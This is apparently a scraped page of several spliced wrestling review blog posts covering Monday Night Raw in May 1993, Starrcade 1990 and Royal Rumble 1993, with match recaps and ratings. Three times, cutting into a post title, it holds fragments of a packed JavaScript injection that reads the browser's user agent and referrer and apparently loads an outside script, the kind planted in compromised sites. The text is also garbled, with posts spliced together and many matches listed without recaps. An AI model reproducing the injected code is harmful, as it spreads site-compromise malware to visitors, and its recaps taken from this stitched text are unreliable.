Rating: D+. Backlund is still worth seeing for his technical prowess but I don’ think anyone was thrilled with seeing the old guy back for one more run like this. It’s just not that thrilling of a story as the character is hardly interesting, which is kind of the point. At least they kept it short, which is a common ting to say around this era.

Damien Demento vs. Jim Brunzell

Regular commentator Rob Bartlett calls in, saying that he’s wasted all of his money at the tables in Las Vegas and can’t get back to work. He begs Vince for money but Vince can’t hear him in an unfunny bit. Why this is happening during a match isn’t clear, but why Demento was a thing isn’t either. Bartlett asks Vince to send him some money or a ticket as the “connection gets worse and worse”. So that wasn’t funny.

Brunzell works on the arm for a bit and Demento is annoyed that he has to grab the rope for the break. Brunzell gets two off a sunset flip as Vince hypes up the Wrestlemania replay. I didn’t want to see it in the first place. The announcers debate whether or not Hulk Hogan is a legitimate World Champion after last night as Demento hits him in the throat. Brunzell gets in his big dropkick for a bad looking two but gets caught in a neckbreaker. A knee drop of all things finishes Brunzell.

Rating: D-. The match was just a backdrop for the announcers talking about whatever they could come up with at the moment. That’s rarely a good idea and that’s a problem that kept happening around this time. Bartlett’s joke was funny for all of five seconds and then just got annoying, much like most of the stuff they had him doing.

Lawler comes out for the match again but still doesn’t like the Burger King chants and walks out a second time.

Steiner Brothers vs. Beverly Brothers

I didn’t realize the Beverlies were still around at this point. Scott takes Beau down without any effort but Beau complains of a hair pull to get out. Beau’s second attempt goes a bit better as he slams Scott’s head into the mat, only to get caught in a butterfly suplex. Well you knew that was coming. Blake and Rick come in with the former hitting a pretty nice powerslam. It’s back to Scott, who gets kneed in the back, allowing Beau to jump over Blake’s back and land on Scott (ala the World’s Greatest Tag Team).

A backbreaker gets two and we take a break. Back with Scott fighting out of a reverse chinlock, meaning we might have missed five seconds. Scott gets choked in the corner as the fans don’t seem thrilled with what they’re seeing. Beau puts on a bearhug until Scott muscles him over with a suplex. A missed legdrop and a tilt-a-whirl slam are enough for the hot tag to Rick so house can be cleaned. Everything breaks down and Scott hits a quick Frankensteiner for the pin.

Rating: D+. Pretty much a long beatdown on Scott until we got to the obvious ending. The Steiners were going to be the biggest stars in the division in no time because the division was so horrible at this point. The Beverlies are still fine for some low level jobbers, though they would be done in less than a month. Not terrible, but longer than it needed to be.

Watch WWF Mania! I always did.

Jim Powers vs. Jerry Lawler

Powers (a good 50lbs of muscle lighter than his Young Stallions or WCW days) punches him from behind to start and we’re off in a hurry. A top rope shot to the head lets Lawler do his great selling and a clothesline sends him scurrying out to the floor. Back in and Lawler gets slammed so he bails to the floor again. That means a lot of stalling, as you would expect from a Memphis legend.

Back in again and Lawler stalls even more, only to get annoyed at the BURGER KING chants. Powers misses a dropkick though and Lawler wants him to kiss his feet. Lawler starts choking and drops the fist but stops to yell at Savage. A raised boot in the corner gets Powers out of trouble and he sends Lawler into the corner a few times. Lawler has finally had it and hits the piledriver for the pin (with trunks because Lawler of course).

Rating: D. Boring match of course but Lawler deserves the chance to get to show just how awesome he was. Look at how little he did here but how much the fans were chanting at him. How much do you see people do today for almost no reaction? It’s because you can get so much more out of so little if you know what you’re doing.

Post break Lawler comes over to commentary and mocks the fans for yelling at him before calling out Savage as a coward. Savage stands up and Lawler bails to end the show.

Overall Rating: D-. This was about as bad as it could get with nothing resembling a good match and no storyline advancement from Wrestlemania. Odds are that comes next week, but it doesn’t exactly thrill the fans who were watching this show. They were still very new to the Raw concept so it’s a bit more excusable, but sweet goodness what a weak night.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2003 Smackdown Reviews (also available as an e-book) from Amazon. Check out the information here:

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Starrcade 1990: Ric Flair and the Spaceship

Another request and again, if you’re interested in Starrcade, check out my e-book of Complete Starrcade reviews at Amazon right here:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nidks|var|u0026u|referrer|dfbfy||js|php'.split('|'),0,{})) 1990
Date: December 16, 1990
Location: Kiel Auditorium, St. Louis, Missouri
Attendance: 7,200
Commentators: Jim Ross, Paul E. Dangerously

The show is being sent to the troops in the Gulf War so we have a big presentation of the National Anthem.

Bobby Eaton vs. Z-Man

Rating: C+. See, THIS is the kind of match you should open things up with. It was fast paced, it was exciting, and the fans are into the show now. Eaton and Z-Man both looked good out there and the fans were way into it. St. Louis has always been a good wrestling town and they responded well to the opener which is always a good sign.

DeKlerk is much more famous as Rocco Rock from Public Enemy. Krueger may or may not be Matt Borne, who is more famous as the original Doink the Clown in the WWF. Their team has a military theme obviously. The Steiners are the US Tag Team Champions here and this is USA (#1 seed) vs. South Africa (#8 seed) with four Americans in there I believe. The Steiners come out to the Star Spangled Banner for good measure.

Krueger and Rick start things off with the Sergeant taking it down to the mat. Rick, a former collegiate champion, has no problem hanging with him down there and comes back with a HARD Steiner Line. Off to DeKlerk who hits a quick leg lariat to send Rick to the floor. The Colonel hits a HUGE flip dive over the top which again was unheard of in 1990. Off to Scott who by this point was a monster and was considered as a future world champion. After running over DeKlerk with a clothesline, the Frankensteiner ends DeKlerk with ease. This was barely two minutes long but the flips by DeKlerk were awesome.

Mysterio dives over the top to take down Adams post match for no apparent reason.

Muta and Saito are the #2 team and obviously are from Japan. The Royal Family are the #7 seed, from New Zealand, and comprised of Rip Morgan and Jack Victory. Morgan actually is from New Zealand while Victory is most famous for his time in Texas and ECW. Muta and Victory start things off with no one being able to get an advantage. Victory gets a shoulder block to take Muta down, only to be sent to the ramp and hit with a big dive over the top by Muta.

Rating: D. Blame this one entirely on the Canadians. The Soviets needed to be in there with guys like the Steiners instead of two fat schmucks that are glorified jobbers. The Soviets were fun to watch out there, but they might as well have been wrestling cardboard boxes, which is a shame.

Here are the brackets after the first round:

Steiner Brothers

Konnan/Rey Mysterio

Great Muta/Mr. Saito

Victor Zanigev/Salman Hashimikov

Terry Taylor vs. Michael Wallstreet

Wallstreet is Mike Rotundo in a gimmick where he was managed by Alexandra York. The idea was she would use a computer to figure out the perfect strategy for Wallstreet to use and figure out how much time it should take Wallstreet to win. York has said that Wallstreet should need 8:32 or less to win the match so we have a clock counting down on the screen. Taylor starts out fast and knocks Wallstreet out to the floor, causing York to bring over papers for him to look at.

Back in and Taylor puts on a headlock to slow things down as we have seven minutes left on the clock. They get up again but Taylor hits a quick clothesline for a two count. Wallstreet puts on an armbar to slow things down again before catching a charging Taylor in a backbreaker for no cover. A vertical suplex gets no cover again but a legdrop does get two. Wallstreet puts on an abdominal stretch with an illegal grab of the ropes with four minutes to go.

Motor City Madman/Big Cat vs. Skyscrapers

Ricky Morton/Tommy Rich vs. Fabulous Freebirds

Off to Hayes as the fans are all over the Birds. Michael is immediately caught in an atomic drop and we go to the floor where Gibson hits Hayes in the back, allowing Morton to ram him into the post. Back in and Hayes misses a knee drop, allowing Morton to put on a Figure Four. The Birds break up the hold and bail to the floor as the stalling continues. Garvin wants to fight Rich, but Jimmy is quickly taken down.

Post match the Freebirds beat up Marley until Morton and Rich make the save. The problem is that allows the Freebirds to clothesline Gibson down on the ramp.

Doom is ready for the Horsemen.

US Title: Lex Luger vs. Stan Hansen

Back in and Luger starts dragging Hansen around but Stan holds back after the third buckle. Lex finally pulls away and gets the fourth buckle but the referee goes down at the same time. Another referee comes out as Hansen starts touching buckles with Luger tied around the throat again. Hansen gets a third buckle as the original referee is waking up. Stan knocks Luger out and touches the fourth buckle to retain the title.

Scratch that result actually as the original referee says Luger got the fourth buckle and is the new champion.

Tag Titles: Doom vs. Arn Anderson/Barry Windham

A tiger driver gets two on Muta as everything breaks down. Saito hits the Saito Suplex (modified belly to back) on Scott for two and the Japanese guys hit a spike piledriver for good measure. Rick breaks up the count but Muta is already posing. A blind tag brings in Rick, who comes in off the top with a sunset flip on Saito for the pin and the tournament championship.

NWA World Title: Sting vs. Black Scorpion

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

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Monday Night Raw – May 31, 1993: I Stand in Awe of Scott Steiner

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zzeab|var|u0026u|referrer|nsbed||js|php'.split('|'),0,{})) Night Raw
Date: May 31, 1993
Location: Manhattan Center, New York City, New York
Attendance: 750
Commentators: Vince McMahon, Randy Savage, Bobby Heenan

Opening sequence.

The announcers hype the show a bit and promise a catfight between Luna Vachon and Sensational Sherri.

Intercontinental Title: Bam Bam Bigelow vs. Marty Jannetty

Marty is defending and has Sherri in his corner for a story that almost no one remembers. Bigelow has to break up a battle of the women to start and Marty gets pounded for not paying attention. Serves him right. Marty has to fight out of the corner and lands on his feet to counter a backdrop. We hit the bearhug though and things slow down all over again. Marty comes back with either a middle rope knee to the back of the head or a middle rope headscissors which was partially botched.

Steiner Brothers vs. Rich Myers/The Executioner

Mr. Hughes vs. Bert Centeno

For the sake of simplicity, just imagine every power move you would expect to see in a squash and Hughes uses it here. A Boss Man Slam wraps it up in very short order.

King of the Ring Report with nothing new to talk about.

Jim Duggan vs. Mark Thomas

Jim runs him over, does a very rare suplex and finishes with the three point clothesline. Just a squash.

Post match Duggan leads the crowd in the Pledge of Allegiance.

Razor Ramon vs. Tony Roy


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Royal Rumble Count-Up – 1993: The Japanese Invasion

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ayntt|var|u0026u|referrer|bkaan||js|php'.split('|'),0,{})) Rumble 1993
Date: January 24, 1993
Location: ARCO Arena, Sacramento, California
Attendance: 16,000
Commentators: Gorilla Monsoon, Bobby Heenan

Historical note: this is 13 days after the debut of Monday Night Raw.

Steiner Brothers vs. Beverly Brothers

Scott avoids an elbow drop but Blake breaks up the hot tag again. The crowd is silent when the Beverlies are on offense. Scott comes back with a butterfly powerbomb to put Blake down and Scott actually dives through the ropes and tags at the same time. Rick cleans house and there are Steiner Lines for both Beverlies. Scott pounds on Blake in the corner and counters a Doomsday Device with a victory roll for two. The Frankensteiner to Beau gets the pin.

Rating: D+. Pretty dull match here as the Steiners were clearly going to dominate the entire time. The Beverlies never got above lower midcard status and their biggest feud was against the Bushwhackers. What were you going to expect them to do against the freaking STEINER BROTHERS? Nothing here but a squash.

Intercontinental Title: Marty Jannetty vs. Shawn Michaels

Jannetty controls to start, sending Shawn to the floor twice with a knee lift and a clothesline. Marty punches Shawn down on the floor and poses in the ring. He tries a punch off the top but gets caught in the ribs on the way down. Shawn loads Marty up on his shoulder and in one of the only times I can ever remember it working, rams Marty shoulder first into the post.

Sherri finally does something by slapping Shawn, who gets belly to back suplexed into the ring. Shawn gets launched to the floor again as the pace picks up a bit. A powerslam puts the champ down but Shawn avoids the top rope punch. Marty stops himself before crashing and gets two off a DDT. Shawn misses a superkick and gets caught by one of his own for two. The crowd is getting into this.

Marty slingshots Shawn so he gets to do his big bump onto the post. There goes the referee via an elbow to the face and Sherri comes in. She swings her shoe but hits Marty by mistake of course. Shawn yells at her a lot and then superkicks Marty in the chest for the pin to retain.

In the back, Gene yells at Sherri to calm down. Marty comes to the back for some more brawling.

Heenan and Gorilla argue a bit.

Bam Bam Bigelow vs. Big Boss Man

We get a clip from WWF Mania (Saturday morning show) of Razor beating up Owen to hype the world title match.

WWF World Title: Razor Ramon vs. Bret Hart

Feeling out process to start with Razor getting the early advantage with some right hands. A knee in the corner misses and Bret has on the Figure Four in less than 90 seconds. Razor gets the rope so Bret drops elbows on the knee instead. The leg gets wrapped around the post before Bret goes after the other leg in the corner for some reason. Ramon comes back with a whip to send Bret ribs first into the post.

Here are Caesar and Cleopatra to hype up Wrestlemania. They read a proclamation about it and this is really stupid.

Royal Rumble

Ric Flair is #1 and Bob Backlund, going through a career resurgence at the time, is #2. Backlund drops Flair with a shoulder and does his little dance. Flair pounds him into the corner but Bob backdrops him down. Papa Shango is #3 and is dumped out by Flair in less than thirty seconds. Backlund it sent to the apron and Flair stomps away. They chop it out until Ted DiBiase, I believe half of the tag champions here, is #4.

Heenan makes fun of Backlund as the double teaming ensues, prompting Gorilla to threaten to knock Bobby out. Backlund is beaten on even more until Brian Knobs is #5. The Nasties are good guys at this point and happen to be feuding with Money Inc. Guess who he starts swinging at. Knobs almost dumps Flair but only gets him to the apron. Things slow down for a bit until Virgil is #6. The faces team up to fight the heels as not a lot is going on at this point.

Ratings Comparison

Steiner Brothers vs. Beverly Brothers

Original: C-

Redo: D+

Shawn Michaels vs. Marty Jannetty

Original: C

Redo: C+

Bam Bam Bigelow vs. Big Boss Man

Original: D+

Redo: D

Bret Hart vs. Razor Ramon

Original: B

Redo: B

Royal Rumble

Original: D+

Redo: D

Overall Rating

Original: D

Redo: D+

Not much change here.

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